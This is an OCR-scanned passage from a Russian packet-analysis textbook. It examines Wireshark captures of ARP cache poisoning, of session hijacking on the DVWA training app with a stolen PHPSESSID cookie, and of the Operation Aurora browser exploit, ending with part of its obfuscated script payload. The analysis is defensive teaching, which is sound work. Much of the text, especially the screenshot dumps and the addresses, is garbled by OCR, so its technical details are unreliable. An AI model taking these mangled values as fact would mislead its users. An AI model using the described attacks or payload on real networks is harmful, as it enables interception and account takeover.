f}sse . ......,э ~U_c8:S6:f8 De1l_ce:~:fB tьlettP_Ьf:91:~ ~1HtP _bf : 91:~ ARP 172.16.0.197 is at 0e:21:78:c8:S6:fB 

S6 8.80681' ~J~ttP_Ьf:t1:~ МwlrttP_Ьf:tl:ee ~ll_ce:S6:fe r>ell_ce:Sб:ftt .... 0 172.16.0.1 i.5 et 88:1S:Ь3:Ьf:91:и-

Рис. 12. 9. Необычный трафик по протоколу ARP между сетевыми устройствами ком
паний Dell и НР 

Прежде чем продолжить дальше, обратите внимание на конечные точки 

рассматриваемого здесь соединения, перечисленные в табл. 12.3. 



Табnица 12.З. Конечн111е точки контроnируемоrо соединени• 

Poni. Тип устройства IР-адрес МАС-адрес 

Целевой хост Dell 172 .16. О .107 00 :21 :70 :сО :56:f0 

Маршрутизатор Cisco 172 .16. О .1 00:26:0Ь:31: 07 :33 

Злоумышленник НР Неизвестен 00:25:b3:bf:91:ee 

Но в чем необычность анализируемого здесь трафика? Как пояснялось при 

обсуждении протокола ARP в главе 7, "Протоколы сетевого уровня", имеются 
два основных типа пакетов ARP с запросами и ответами. В частности, пакет 
с запросом посылается как широковещательный всем хостам, чтобы обнару

жить в сети машину, имеющую МАС-адрес, связанный с конкретным IР-адре

сом. На это искомая машина посылает запрашивающему устройству ответ в 

одноадресатном пакете. Принимая эти сведения во внимание, можно выяс

нить особенности данной последовательности обмена данными, как показано 

на рис. 12.9. 
Прежде всего, пакет 54 содержит АRР-запрос, посылаемый злоумышлен

ником (с МАС-адресом 00:25:ЬЗ:Ьf:91:ее), в виде одноадресатного пакета 

непосредственно целевому хосту (с МАС-адресом 00:21:'70:c0:56:f0) О. За
прос данного типа должен быть широковещательным для всех хостов в сети, 

но анализируемый здесь запрос направляется только целевому хосту. Следует 

также иметь в виду, что в нем указан IР-адрес маршрутизатора, а не собствен

ный адрес злоумышленника, несмотря на то, что данный пакет посылается 

этим злоумышленником с МАС-адресом его устройства, включенным в АRР-за

головок. 

После данного пакета следует ответ от целевого хоста злоумышленнику, 

содержащему сведения о своем МАС-адресе 8. Анализируемое здесь жуль
ничество происходит в пакете 56, где злоумышленник посылает пакет це
левому хосту, содержащий незатребованный АRР-ответ, в котором сооб

щается, что устройство с IР-адресом 1 '72 .16. О .1 находится по МАС-адресу 
00: 25: ЬЗ: bf: 91: ее О. Но дело в том, что IР-адресу 1 '72 .16. О .1 соответствует 
не МАС-адрес 00:25:ЬЗ:Ьf:91:ее, а МАС-адрес 00:26:0Ь:З1:0'7:ЗЗ. Об этом 

известно из проведенного ранее анализа пакетов, которыми маршрутизатор, 

расположенный по адресу 1 '72 .16. О .1, обменивался с целевым хостом. А по
скольку протокол ARP, по существу, не является защищенным и допускает 
незатребованные обновления АRР-таблицы, то целевой хост пошлет теперь 

свой трафик не маршрутизатору, как это должно быть, а злоумышленнику. 

Как только целевой хост и маршрутизатор удастся ввести в заблуждение, 

обмен данными между ними будет происходить через хост злоумышленника, 

как показано на рис. 12.1 О. 



l1!QiИ!pфiilil Анализируемъtе здесь пакетъt перехвачены из целевой машинъt и поэ

таму не дают полного представления о происходящем. Чтобъt атака 

злаумыш.ленника возымела действие, он должен послатъ ту же самую 

пос.ледователъностъ пакетов маршрутизатору с целъю вынудитъ его 

принятъ кампъютер злаумъtш.ленника за целевой хост. Но для того чт~ 

бъt обнаружитъ зти пакетъt, придется осуществитъ еще один перехват 

сетевого трафика, исходящего из маршрутизатора (и.ли хоста злаумъtш

ленника ). 

.... ~ 
•••• CL] 

Марwрутизаторutеr 

(Cisco) 
172.16.О.1 

00:26:0Ь:21:07:33 

Компьютер 
зnоумыwnеннмка 

(НР) 

00:25:ЬЗ:Ьf:91:ее 

.... ~ ___.. gJ-
•••• С1:1 

~ 
• ..:z==._~" 

Маршрутизатор Компьютер 
зnоумыwnенника 

Орrанимq1111 АКР-имитации 

(С точки зрения цеnевого xocra) 

Чей IР-адрес 172 .16. о .107?Сообщить 172.16. О .1! 
SRCMAC: 

00:25:ЬЗ:Ьf:91:ее 

DSTMAC: 
00:21:70:c0:56:f0 

IР-адрес 172 .16. о .107 соответсrвует 
МАС-адресу 00: 21: 7О:с0 :56: fO 

SRCMAC: 
00:21:70:c0:56:f0 

DSTMAC: 
00:25:ЬЗ:Ьf:91:ее 

Цеnевой xocr 
(Dell) 

172.16.0.107 
00:21:70:c0:56:f0 

IР-адрес 172.16. О .1 находится по МАС-адресу 00: 25 :ЬЗ:Ьf: 91 :ее 
SRCMAC: 

00:25:ЬЗ:Ьf:91:ее 

DSTMAC: 
00:21 :70:c0:56:f0 

Резуnьтат АRР-11митации 

(Зnоумыwnенник перехватывает трафик) 

Цеnевой xocr 

Рис. 12. 1 О. Заражение АRР-кеша при атаке через посредника 

Пакет 57 подтверждает удачный исход данной атаки. Если сравнить этот 
пакет с тем, что был послан прежде таинственного трафика по протоколу 

ARP (например, с пакетом 40; рис. 12.11), то можно заметить, что IР-адрес уда
ленного сервера (компании Google) остался тем же самым 8 и 8, тогда как 
МАС-адрес целевого хоста изменился О и О. Такое изменение МАС-адреса 
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свидетельствует о том, что сетевой трафик теперь переадресовывается через 

атакующего злоумышленника, прежде чем достичь маршрутизатора. 

1 
~ Freм •: б6 byt"s on wirr (S28 bits) 1 66 bytes с~ ur~ (528 Ьits) on inta-facir • 

Etherмt II, Src: Oell_ce:SБ:fe (88:21:Je:ce:S6:f8)" Dst: Ciscoir'lc_31:87:33 (•::Z'6:.Ь:31:•7:33) 
~stination: Ciscolnc_31:87: 33 (88: 2б:8Ь: 31 :87: И) О 
Sout"ct: ~ll_ce:я:tв (H:21:78:ce:s6:fe) 
Тур°' I,._< (8-) 

v Intemn Prot.oco1 Version 41 Sгс: 172.16.8.187, Dst: 74 . 125.9S.147 
818& .... • Version: 4 
.... 8181 • ~adrг lrngth: 28 bytes 
Diffe:rentiat~ ~rvices Field: Qх8В (DSCP: cse" f(Н: Not-ECT) 
Tota} Le:ngth: S2 
Ide:ntification: 8х97Ьf ( 38847) 
Fla1s: ехе2 (Oon . t fraprnt) 
Frapirnt offset: 8 
Tiw to live: 64 
Protocol: ТСР ( 6) 
Н!adtr chrcksue: h4c79 [valid11ti.on disaЫed] 
Source:: 172.16.8.187 

O@stination : 74.U5.9S.147 8 
[Source GeoIP: Q-iknown] 
(06tinгtion GeoIP: Unknoмn] 

) l:ranutission Control Proto<:ol, SC'C Port: 4S692 (45692.)" Ost Port:: 18 (88) 1 Seq: 619179587. Act~ 2.814З68513r Len: е 

Frмe S7: 968 Ьytes on wJre (7688 bits), 966 bytes c•ptu~d (7681 b.its) on intrMкe 8 
f v Eti\e"nrt II, Src: Otll_~:S6:f9 (M:21:71:ce:S6:fl), Dst: ~lettP_Ьf:91:ee (M:l5:b3:Ьf:"1:tt} 

Destln.tion: llewl•ttP _bf:9l:u (N:2S:b3:bf:91:<•) С. 
> Source: ~ll_ce:S6:fl (M:Zl:79:c8:S6:fe) 

Туре: IPv• (0хе888) 
1"" Interм:t Protocol Version 4~ Src: 172.16.4'.187, Ost: 74.US.9S,147 

91е& .•.. • Versi.on: 4 

.••. 8181 • Нtader '-en1th: ~ Ьytes 
Differitntiated ~rvices Hitld~ txee (OSCP: c.se~ ECN: Not·ECТ) 

Tot•l '-ength: 946 
Identific•tton: 8x3afl (15889) 
F111s : 4Ье2 (Don ' t Fra~nt) 
Frape:nt offset: 8 
Тi• to live: 64 
Protocol: ТСР (6) 

) lie•der che-cksl.8: 8uSc::9 [...-•lidation dis•Ьl~] 
Source: 172.16.9.187 
Destinet.ion: 74 .12S. 95 .147 О 
[Scx.irce GfooIP: Un~] 

[Oestination GeoIP: Unknown] 
> Tren~i•si.tm Control Protocol, Src Port: 45691 (45691 t D<st Port: 88 (88 , . ~ 

: 689365591, Ack: 164762'296. ten~ 194 

о х 

1 

Рис. 12. 11. Изменение МАС-одресо целевого хосто свидетельствует об успешном 
исходе донной атаки через посредника 

Анализируемая здесь атака настолько незаметна, что обнаружить ее край

не сложно. Чтобы обнаружить ее, требуется помощь системы обнаружения 

вторжений, специально настроенной на решение подобной задачи, или про

граммы, работающей на устройствах, предназначенных для обнаружения 

внезапных изменений в элементах АRР-таблицы. А поскольку вам, скорее 

всего, придется пользоваться методикой заражения АRР-кеша для перехвата 
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пакетов в анализируемых сетях, то вы должны знать, как эта методика может 

быть использована против вас. 

Перехват сеансов связи 

Файл перехвата session
hijacking. pcapng 

Рассмотрев порядок применения со злым умысJiом 

заражения АRР-кеша, продемонстрируем методику 

перехвата сеансов связи, где оно выгодно применяется. 

При перехвате сеансов связи злоумышленник завладевает копией сооkiе-файла 

сеанса связи по протоколу НТТР, как будет показано ниже, чтобы с помощью 

этого файла выдать себя за другого пользователя. С этой целью злоумышленник 

может восполь:юваться заражением АRР-кеша, чтобы перехватить сетевой тра

фик целевого хоста и извлечь соответствующую информацию из сеансового 

сооkiе-файла. Этой информацией злоумышленник может затем воспользовать

ся для доступа к неб-приложению целевого хоста как его авторизованный поль

зователь. 

Начнем рассмотрение данного сценария с файла перехвата sessionhi -
jacking .pcapng, содержащего сетевой трафик целевого хоста, находящегося 
по адресу 172 .16 .16 .164 и обменивающегося данными с веб-приложением, 
действующим по адресу 172 .16 .16 .181. При этом целевой хает невольно стал 
жертвой злоумышленника, расположенного по адресу 172 .16 .16 .154 и актив
но перехватывавшего обмен данными целевого хоста с веб-приложением. Эти 

пакеты бьuш собраны с точки зрения веб-сервера, которая вероятнее всего бу

дет точно такая же, как и у системы защиты инфраструктуры сервера от атак 

типа перехвата сеансов связи. 

lllQ'И'liiliiii Упоминаемое здесь веб-прwtожение называется DVWA (Dатп VulпeraЫe 
Web Applicatioп - Чертовски уязвимое веб-прwtожение). Оно намеренно 

сделано уязвим'Ы.м хо многим видам атах и зачастую применяется в ха

честве учебного средства. Если у вас вознихнет желание ознахомитъся 

подробнее с веб-приложением DVWA, обратитесь по адресу http: / /vww. 
dvwa. со. uk/. 

Анализируемый здесь сетевой трафик состоит, главным образом, из 

двух диалогов. Первый диалог представляет собой обмен данными меж

ду целевого хостом и веб-сервером и может быть селектирован фильтром 

ip. addr = 172 .16 .16 .164 && ip. addr = 172 .16 .16 .181. Этот обмен дан
ными представлен обычным трафиком просмотра веб-содержимого, в кото

ром нет ничего особенного. В анализируемых здесь запросах особый инте

рес вызывает сооkiе-значение. Так, если проанализировать запрос по мето

ду GET (например, в пакете 14), то можно обнаружить, что сооkiе-значение 
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отображено на панели Packet Details (рис. 12.12). В данном случае сооkiе-зна
чение ncobrqrb7fj2a2sinddtk567q4 обозначает идентификатор сеанса связи 

PHPSESSID 0. 

--- ----- -----

fr..w 1~: 682 bytes on w~ (4816 bits), бе2 Ьу~ captur~ (41116 Ыts} on inte:гface е 
Ethef'мt 11, Src: IntelCor _f8:91:ac (f8:16:54:f8:91:•c), Dst: v.."re_d8:dd:2b (8&:8c:29:d8:dd:2b) 
Internet Pгotocol Version 4, Src: 171.16.16.164, Ost: 172..16 . 16 .181 

' Trenwission Con'trol Protocol, Src Pol"'t: 68432 (66432), Dst РоМ:: 8'J (88) , ~q; 188S346B5, Ack: 1765521347, L№: 536 
t~ T"~:Sft" P-.>tOCQl 

ttost: 172.16.16.181\г\n 

Connection: keep-1live\r"\n 
Cache-Control: ••x-age-0\r\n 
Accept: text/kt•l,applic•t ion/xhtal+XJ1l, •wlic•tion/ul;q-e . 9, iuge/wЬp, • /• ;q-e. 8\r\n 
upsгede-Insecure-R~uests: 1\г\п 

о х 

User·Agent: Мozilla/5.8 (~cintosh; Intel Нас OS Х 11_18_5) AppleWr!bKit/537.36 (ККТНI., 11ke ~cko) Ch~/47.8.2S26.186 S•fer"i/S37.36\r\n 
Refe~r: http://172.16.16. llll/rtw./101in.pkp\r\n 
Accept·Encoding: JZip, deflate, sdch\r\n 
Accept-Lensuege: en-US,en;q-&. B\r\n 

.., Cookie: secuгity•iJlpossiЫe; PНPSfSSIO-ncobrqгb7fj2e2sinddtkS67q4\г\n 

Cookie peir: security•iaipossiЫe 
Cookie pair: F'ttPSESSIO•ncobrqгb7fj282:iinddtkS67q4 О 

\г\n 

(fиll rсачсн URI. http· 11172 16 16 181/dywp/indtx phpl 
[ НТТР reques t 1/2] 
fRcsoona in fr•м · 121 
[Ncxt rcgyot in ,,". 241 

Рис. 12.12. Просмотр сеансовоrо сооkiе-значения целевого хоста 

Веб-сайты пользуются сооkiе-файлами, чтобы поддерживать сеанс связи 

с отдельными хостами. Когда на веб-сайте появится новый посетитель, ему 

будет присвоен однозначно определяющий его идентификатор сеанса связи 

(PHPSESSID). Многие веб-приложения ожидают до тех пор, пока пользователь 

не пройдет аутентификацию со своим идентификатором сеанса связи, после 

чего в базе данных создается запись, где этот идентификатор распознается 

как обозначающий аутентифицированный сеанс связи. Любой пользователь 

с этим идентификатором сможет получить доступ к веб-приложению, пройдя 

такую аутентификацию. Безусловно, разработчикам необходимо обеспечить 

однозначность идентификатора, формируемого для каждого пользователя. 

Но такой способ обработки идентификаторов небезопасен, поскольку он дает 

злонамеренному пользователю возможность похитить идентификатор друго

го пользователя, чтобы выдать себя за него. И хотя имеются специальные ме

тоды, позволяющие предотвратить атаки типа перехвата сеанса связи, тем не 

менее, многие веб-сайты, включая и DVWA, остаются по-прежнему уязвимыми 

к подобным атакам. 

Целевой хост даже не подозревает, что его сетевой трафик перехваты

вается злоумышленником или же у этого злоумышленника имеется доступ 

к сеансовому сооkiе-файлу (рис. 12.12). И в этом случае злоумышленнику 

остается лишь установить связь с веб-сервером, используя перехваченное 



сооkiе-значение. Такую задачу можно решить с помощью определенного рода 

нрокси-серверов, но это еще легче сделать, исполыуя такие подключаемые к 

браузеру модули, как Cookie Maнager для Cl1roшe. С помощью этого подклю

чаемого модуля злоумышленник может указать значение идентификатора 

PHPSESSID, полученное из сетевого трафика целевого хоста, как показано на 

рис. 12.13. 

•• 8 Login;Oanvt\tulnt1'1blr х 

С \,) 172.16.16.181 'd-1Wa/lo9mpnp 

~ 

Expirёbon 
Oate 

Foc.nd 18 domatm 
CIO "'SuO Domi·na· •'Jlr 8ЬО'1е 1' -м11 сооhн rutn SUO <Юtnain 
Cld "All"ld11ЬO.w10.,-~w•llCOOЬ.з 

Ll 

---------------
Рис. 12. 13. Применение подключаемого модуля Cookie Manager злоумышленником 

с целью выдать себя за целевой хост 

Если удалить фильтр, применявшийся ранее к файлу перехвата, и прокру

тить полученный список пакетов вниз, то можно обнаружить IР-адрес ком

пьютера злоумышленника, устанавливающегося связь с неб-сервером. Про

смотр этой связи можно выявить с помощью следующего фильтра: 

ip.addr == 172.16.16.154 && ip.addr == 172.16.16.181 

Прежде чем углубляться в дальнейший анализ, добавьте еще один стол

бец на панели Packet List, чтобы отображать в нем сооkiе-значения. Если вы 

добавили столбцы в предыдущем разделе, посвященном заражению АRР-ке

ша, удалите их, прежде чем добавлять этот столбец. После этого выполните 

действия, описанные в предыдущем разделе, чтобы добавить новый столбец, 

исходя из имени поля http.cookie_pair, и разместите его справа от столбца 

Destination. В итоге содержимое экрана должно выглядеть так же, как и на 

рис. 12.14. 

361 



• Wireshark · Preferencб 

v Appearance 
loyout 
Columns 
Font and Colors 

C•pture 
Fitter Expressions 
Name Resolution 

) Protocols 
> St•listics 

Ac!v•nced 

< > 

Disployed 

,+ 

0 
0 
0 
0 
0 
0 
0 

х 

Trtl• Туре Fi~ld Name Field Occurrence 

No. Number 
Tim• Time (format as spocified) 
Source Source addrбs 
Destination Destination address 
Cookie pair Custom http.cookie_pair о 

Protocol Protocol 
lnfo lnformation 

Рис. 12. 14. Экран конфигурирования столбцов для исследования пере
хвата сеансов связи 

Итак, сконфигурировав столбцы по-новому, видоизмените фильтр, чтобы 

отображать только НТТР-запросы, поскольку обмен данными по протоколу 

ТСР для этой цели не подходит. Новый фильтр должен выглядеть так, как по

казано ниже. Пакеты, селектированные с помощью этого фильтра, приведе

ны на рис . 12.15. 

(ip.addr==172 . 16.16.154 && ip.addr==l72.16.16.181) 

&& (http.request.method 11 http.response.code) 

No. - Sou-ce OcstNtion CooloePll'" Protocal Infti 
77 16.563"4 172.16.16.154 172.16.16.181 
79 16.S6SS84 172 .16.16.181 172.16.16.1§4 

secur1ty•low,PНPSESSIO-lup7&•jeuodkrhrvЬ.sjt&rd71 КПР 0Gп /dvw•/ НТТР/1.1 
НТТР НТТР/1.1 382 found @ 

ве 1б.s1е1а1 112.16.16.1~ 171.16.16.181 secuгity•low,PНPSESSID-lup79i1jeuodkrtirvЬ.sjtcrd71 НТТР f}GH /dvwo/locin.php КПР/1.1 
8116.575123 172.16.16 .181 1п.1б.16.1S4 

11S 68.848166 172 .16 .16.154 172 .16.16 .181 
НТТР НТТР/1.1 280 <Ж (text/1'1W ' 

secuгity-low,PНPSESSIDancoЬrqrb7fjb2s1nddtkS67q4 НТТР 0GП /dvwlJ/ НТТР/1.1 
118 68.842241 172.16.16.181 172.16.16.154 НТТР НТТР/1.1 209 ОК (text/htal • 
128 64.292856 172.lб.16.1S4 172.16.16.181 security•low.PНPSESSIO-ncoЬrqrb7fj2•2sinddtlt567q4 КТТР flбп /dvw1/setup .php НТТР/1.1 
122 64.293481 172 .16.16.181 172.1б.1б.1S4 НТТР НТТР / 1.1 200 ОК ( t«t/ht•l : 

Рис. 12. 15. Анализ этих пакетов показывает, что злоумышленник выдает себя за 

пользователя целевого хоста 

А теперь проанализируем обмен данными между компьютером злоумыш

ленника и сервером. В первых четырех пакетах злоумышленник запрашива

ет каталог /dvwa/ О и получает в ответ код 302, что считается обычным для 
веб-сервера способом переадресации посетителей по другим URL. В данном 
случае злоумышленник переадресовывается на страницу регистрации по 

адресу /dvwa/login.php 8. Компьютер злоумышленника запрашивает страни
цу регистрации О, которая успешно возвращается О. В обоих запросах при

меняется идентификатор сеанса связи lup70ajeuodkrhrvbmsj tgrd71. 



Далее следует новый запрос каталога /dvwa/, но на этот раз обратите вни
мание на другой идентификатор сеанса связи ncobrqrЬ7fj 2a2sinddtk567q4 
О, который теперь совпадает с использовавшимся ранее идентификатором 

целевого хоста. Это означает, что злоумышленник манипулировал сетевым 

трафиком, чтобы воспользоваться украденным идентификатором. Вместо пе

реадресации на страницу регистрации в ответ на отправленный запрос при

сылается код состояния 200 по протоколу НТТР, и страница доставляется так, 
как будто ее должен увидеть пользователь, аутентифицированный на целевом 

хосте Ф. Далее злоумышленник запрашивает другую страницу по адресу dvwa/ 
setup. php, используя идентификатор целевого хоста 8. И эта страница воз
вращается успешно Ф. Таким образом, злоумышленник просматривает веб

сайт DVWA, как будто он действительно аутентифицирован как пользователь 
этого целевого хоста. И все это ему удается сделать, не зная даже ни имени 

пользователя, ни пароля. 

Рассмотренный выше сценарий служит еще одним примером того, как зло

умышленник может превратить анализ пакетов в наступательное средство. 

В общем, благоразумнее допустить, что если злоумышленник способен пере

хватывать и проанализировать пакеты, связанные с определенным обменом 

данными по сети, то это может привести к определенного рода зловредным 

действиям. И это одна из причин, по которым специалисты в области безопас

ности ратуют за то, чтобы защищать передаваемые данные путем шифрования. 

Вредоносное программное обеспечение 
Если совершенно законное программное обеспечение может быть ис

пользовано со злым умыслом, то термином вредоносное программное обеспечение 

(malware) принято обозначать код, специально написанный со злыми наме
рениями. Вредоносное программное обеспечение может принимать самые 

разные виды и формы, включая самораспространяющиеся "черви" и "троян

ские кони", маскирующиеся под вполне законные программы. С точки зре

ния защиты сетей большая часть вредоносного программного обеспечения 

неизвестна и не обнаруживается до тех пор, пока его зловредные действия 

не будут выявлены и проанализированы. Процесс такого анализа состоит из 

нескольких стадий, включая и ту, что специально предназначена для поведен

ческого анализа образцов обмена данными, совершаемого вредоносным про

граммным обеспечением по сети. Иногда такой анализ проводится в специ

альной судебно-экспертной лаборатории по восстановлению алгоритма рабо

ты вредоносного программного обеспечения. Но чаще всего он проводится 

в естественных условиях, когда специалист по вопросам безопасности обна

руживает заражение вирусом в анализируемой им сети. В этом разделе разби

рается ряд примеров настоящего вредоносного программного обеспечения и 

анализируется его поведение на уровне наблюдаемых пакетов. 



Операция /1 Аврора" 

Файл перехвата В январе 2010 года был выявлен вредоносный код под нaзвa

aurora.pcapng нием операция "Аврора" (Operation Aurora), эксплуатиро-

вавший неизвестную ранее уязвимость в браузере Interпet 

Explorer. Эта уязвимость позволила злоумышленникам получить удаленный 

контроль над целевыми серверами, среди прочего, компании Google. 
Чтобы этот вредоносный код был выполнен, пользователю было достаточ

но посетить веб-сайт, используя уязвимую версию браузера Iпterпet Explorer. 

И тогда злоумышленники получали немедленный доступ к машине пользова

теля с теми же правами, что и у зарегистрированного на ней пользователя 1 • 

Чтобы как-то обмануть или чем-нибудь прельстить жертву, злоумышленники 

применяли целенаправленный фитинг, состоявший в том, что они посылали 

по электронной почте сообщение с целью вынудить получателя щелкнуть на 

ссылке, ведущей к вредоносному веб-сайту. 

Что же касается операции "Аврора", то мы выполнили перехват пакетов 

начиная с момента, когда целевой пользователь только щелкал на ссылке в со

общении целенаправленного фишинга, которое он получал по электронной 

почте. Полученные в итоге пакеты сохранялись в файле перехвата aurora. 

pcapng. 
Анализируемый здесь перехваченный трафик начинается с трехэтапного 

процесса установки связи по протоколу ТСР между целевого хостом, находя

щимся по адресу 192 .168 .100. 206, и компьютером злоумышленника, распо

ложенным по адресу 192 .168 .100. 202. Первоначальное соединение устанав

ливается через порт 80. Это может заставить поверить, что сетевой трафик 

осуществляется по протоколу НТТР. И такое предположение подтверждается 

в четвертом пакете, где содержится НТТР-запрос каталога / info О по методу 

GET, как показано на рис. 12.16. 
Как показано на рис. 12.17, компьютер злоумышленника подтверждает 

прием запроса по методу GET и посылает в ответ код состояния 302 (Moved 

Teшporarily - Документ временно перемещен) в пакете 6 О. Этот код состоя

ния обычно применяется для переадресации браузера на другую страницу, как 

в данном случае. Наряду с кодом состояния 302 в поле Location заголовка ука

зано значение /info?rFfWELUjLJНpP 8. 

1 Этот пример демонстрирует тот факт, что учетные записи обычных пользовате

лей на целевом хосте не должны обладать правами администратора. Тогда заражение 

всей системы станет в принципе невозможным, поскольку для записи на системный 

диск и в реестр требуются права администратора. - Примеч. ред. 



1

• W1reshark · Packet 4 · aurori 

> Fr..., 4: 345 bytes on wir• (2760 bits), 345 byt•s captured (2760 bits) 

Ethornet II, Src: Vmw1ro_07:oe:27 (00:8с:29:07:оо:27), Dst: Howl•ttP_bf:91:o• (00:25:b3:bf:9l:ee) 

1 
Internet Protocol Version 4, Src: 192..168.100.206, Ost: 192.168.168.202 

-=---..--=---:--_.. Src Port: 1831 (1031), Dst Port: 80 (80), Seq: 3982970894, Ack: 3036725423, 

Accept: :iм!lge/gif, illage/x-xЬitup, :Ulage/jpeg, iuge/pjpeg, applicиtion/x-shock.wave-flash.,, * /*\r\n 
Accept-Language: en-us\r\n 
Accept-Encoding: gzip, deflate\r\n 
User-A«ient: Мozilla/4.0 (Cot81patiЫe; НSIE б.6; Windows НТ 5.1; SVl)\r-\n 
Нost: 192.168.100.202\r\n 
Connection: Keep-Alive\r\n 
\г\n 

[full гeouest URI · http· / /192 168 10Q . 202/infol 

[tiTTP roquest 1/З] 
[Resoonse in frame: б] 

ГNext request in fraR: 7] 

Nt:м 4 • Tn'№! O.tJOfN6S • ~ Itl.168..J/JD.206 • ~ J9J.JG8.100..!01 • Q:юЬ.р.й: · Ат:JtоФkНТТР • ~ JtS • Jrtfo: GЕГ /n'o НТТР/1.1 

о х 

Len: 291 

Рис. 12. 16. Целевой хост делает запрос каталога /info по методу GET 

• Wir~ark. · P1cket б · 1urora 

> fraJte 6: 191 bytes оп wire (1528 Ыts}, 191 bytes coptur•d (1528 bits) 

> Ethernet П, Src: H•wl•ttP_bf:91:o• (00:25:b3:bf:91:e•), Dst: ll*•re_e7:ao:27 (00:0с:29:07:ае:27) 

) Internet Prot.ocol Version 4J Src: 192.168.106.292" Ost: 192.168.100.2-06 

о х 

Src Port: 88 (se 1 Ost Port: 1931 (1031), Seq: З&Зб72S42З, Ack: 3982971185, Len: 137 

Content-Typf!: te)(t/html \г\п 
Location: / info?rffWELUjLJНpP\r\n f) 
Connection: Keep-Alive\r\n 
Serveг: Apac:he\г\n 

Content-Length: 0\r\n 
\r\n 
(t!ТТР respons• 1/З] 
[Tiae- since гequest: 0.478102000 seconds] 
[Rcgucst in fгом; 41 
[fiext гcguest in frиe. 71 
Гriext rcsoonse in frc11к· 181 

No.: 6 • r..,... О.21ВМ1 • .scxn.r J9J.Jfi&JOO.ZOJ • ~ 1J2.J68./(J().J()6 • СЬ.:Ж... ;»r. · Act:ot:d: Н7ТР • Ьlngrl:: Hl • lnfrx НТТР/1.1 Jt11 /.fo.-«I 

Close 

Рис. 12. 1 7. В данном пакете браузер клиента переадресовывается на другую страницу 

Получив пакет НТТР с кодом состояния 302, клиент инициирует еще один 

запрос по методу GET по URL со значением /info?rFfWELUjLJНpP в пакете 7, на 
что получает подтверждение в пакете 8 типа АСК. После пакета АСК следует не

сколько пакетов, представляющих данные, передаваемые злоумышленником 

целевому хосту. Чтобы более тщательно проанализировать эти данные, щел

кните правой кнопкой мыши на одном из пакетов в потоке данных (напри

мер, на пакете 9) и выберите команду Followc:>TCP Stream (Отслеживать<::::> Поток 

ТСР) из контекстного меню. В этом потоке вывода данных можно обнаружить 

первоначальный запрос по методу GET, переадресацию по коду состояния 302, 

а также второй запрос по методу GET, как показано на рис. 12.18. 
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• Wireshark · Follow ТСР Stream (tcp.stream eq 0) · aurora о 

бЕТ /info НТТР/1.1 
Accept: illage/gif, iilage/x-xЬitmap, illage/jpeg, inoage/pjpeg, application/x-shockwave-flash, • 1• 
Accept-language: en-us 
Accept-Encoding: gzip, deflate 
User--Agent: Нozilla/4.0 (ce11patiЫe; МSIE б.0; Windows tп 5.1; SVl) 
Нost: 192.166.100.202 
Connection: Keep·Alive 

НТТР/1.1 302 Мoved 
Content-Type: text/htмl 
loc1tion: /info?rFfWfLUjLЗHpP 
Connection: Keep-Alive 
Server: Apache 
Content-Length: 0 

бЕТ /info?rFfWELUjlЗНpP НТТР/1.1 

Accept: illage/gif, 1-age/x-xЫtltap, iiвage/jpeg, :Uiiage/pjpeg, application/x-shockwave-flash, */• 
Accept-lвnguage: en-us 
Accept-Encoding: gzip, deflate 
User-Agent: Нozillo/4.0 (c0111potiЫe; НSIE б.0; Windows Ю- S.1; SVl} 
Нost: 192.168.100.202 
Connection: Keep-Alive 

НТТР/1.1 200 ОК 
Content-Type: text/htмl 
Pгagiia: no-cache 
Connection: Keep-Alive 
Seгver: Apach11 
Cont<!nt-length: 11266 

х 

" -" 
-

J de-< рМ[s), JO _,..,,. pla(s), !i 121>('~ 

Entl'e conversatюn (12kВ) Stream Jo l:] 
Fr>d: 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

Рис. 12. 18. Поток данных, передаваемый клиенту 

После этого дело начинает принимать совершенно необычный оборот. 

Злоумышленник отвечает на запрос по методу GET весьма странно выглядя
щим содержимым, первая часть которого приведена на рис. 12.19. 

Это содержимое состоит из целого ряда случайных чисел и букв в дес

крипторе <script> О. Этот дескриптор применяется в НТМL-документе для 
обозначения исходного кода на языке сценариев высокого уровня, предна

значенного для выполнения на стороне НТТР-клиента. Как правило, в дес

крипторе <script> указываются операторы, составляющие исполняемый код 
сценария. Но бессмысленное содержимое в данном случае зашифровано, что

бы скрыть сам исполняемый код от обнаружения. А поскольку нам известно, 

что анализируемый здесь трафик служит для эксплуатации уязвимостей в си

стеме безопасности атакуемой службы, то можно предположить, что запутан

ный текст в дескрипторе <script> содержит шестнадцатеричное заполнение 
и код запуска оболочки со злым умыслом. 



• Wireshark · Follow ТСР Stream (tcp.stream <q О) · aurora 

< !ООСТУРЕ НТМl PUBLIC "-//WЗС/ /ОТО tmll 4.0//EN"> 
<html> 
<head> 
<script> 

о 

var IwpVuiFqihVySoJStwXllT • 
'04271477lЗЗЬОО0Ьlа0с240ЭЗ91ЭЗс120е2805160е150Эб84d705005291а08091ЬЭебе71Зе1122520Ь0312Зd051808Э9 

2с0d2712ЗЬ0а08050ЭЭс1с0735З21а2407ЭS0Э141429З5250829083с0а0000072f142624011f2а27022825082f25Эf2с3 

9З94а71ба2615275207142524357d43772с270270Sа2f4ббаб57сбе4а2Sба7450614176Sббсб5257е4165310515150а0f 

2Ь35302а10Эd0е03041е02Э4Эб2fЭаЭсЗ407Зе1Ьеd0d021ЗlеЗf1б35200е21101сЗ8093913112е322223211f32.З930213 

338lb330a0c2cll7SS7бc2e27l32Slf2308236Ыf270f2d3e2d353c172Ь0З39З164031d192ble363c0Uf072dЗllSЗ823 

0f2е113979490Ь0З12Зd051808392с0d2712ЗЬ0а080503Зс1с07ЗSЭ21а2407350Э141429Э525082908Эс0а0000072f142 

624011f2э27022825082f253f2сЭ9Э9Э12517бб143106274ббабS&е0dЭаЗ9687Э0d261ЭЭ4463Ь112230ЗЬ07052dЭdЗ705 

303e36340f05131d0b2934142Ь070d33657175043926244b2б13344бld362b310бЭdЗe002б3elc110f11080f25&<!34002 

0150110220clelllc3d0e273f3a3a21050f2b2208341f04042cб84d701c23117704Эe270b3Sб2614b2б133446220e08Эe 

lс0d0еlЬ3dld31Эб2Ы71221170036001а240230092е2226З8383d152Ьlа23162Ь0dЗЗЭ0230Ьl405ЗеЗе3сlаЗ21537122 

d2704ЭаЗ0271d2439Э83Ы21f160а0ЭЗеlс211еЭ8Зf203еЭе143136190210081f2сlе2Эlб03112dЗбЭ97557бсЗf2б152З 

11271632.7e2a20042fЗe2llfЭe5221212e23Зd131c0f1318223d2a24080212361718392626070a24072c2710253321082 

3092а15390917190dЗеЗЗ10250d0с0405Зd0417Зdlс0f212Ьl80820ЗЗЗс382dЗеЗd203б000921320аlс36371е4е7е3еЗа 

